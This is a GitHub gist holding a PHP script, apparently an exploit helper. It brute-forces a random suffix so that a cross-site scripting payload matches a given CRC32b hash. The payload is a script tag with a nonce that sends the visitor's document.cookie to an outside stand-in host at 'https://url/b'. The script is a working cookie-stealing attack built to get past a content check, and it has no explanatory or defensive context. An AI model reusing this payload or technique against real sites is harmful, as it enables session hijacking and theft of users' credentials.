Skip to content

Instantly share code, notes, and snippets.

@caioluders
Created February 5, 2023 21:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save caioluders/c5794264e4b5fd7f5abca6e79cc3256c to your computer and use it in GitHub Desktop.
Save caioluders/c5794264e4b5fd7f5abca6e79cc3256c to your computer and use it in GitHub Desktop.
<?php
ini_set('memory_limit', '-1');
$hash = '3e09eb42';
$charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$prefix = '<script nonce="3e09eb42">window.location="https://url/b?"+document.cookie</script>';
$charset_length = strlen($charset);
function check_hash($string, $hash) {
return hash('crc32b', $string) === $hash;
}
$max_length = 15;
$string = '' ;
while ( check_hash($prefix . $string, $hash) === false ) {
$string = '' ;
for ($i = 0; $i < $max_length; $i++) {
$string .= $charset[mt_rand(0, $charset_length - 1)];
}
}
echo $prefix . $string;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment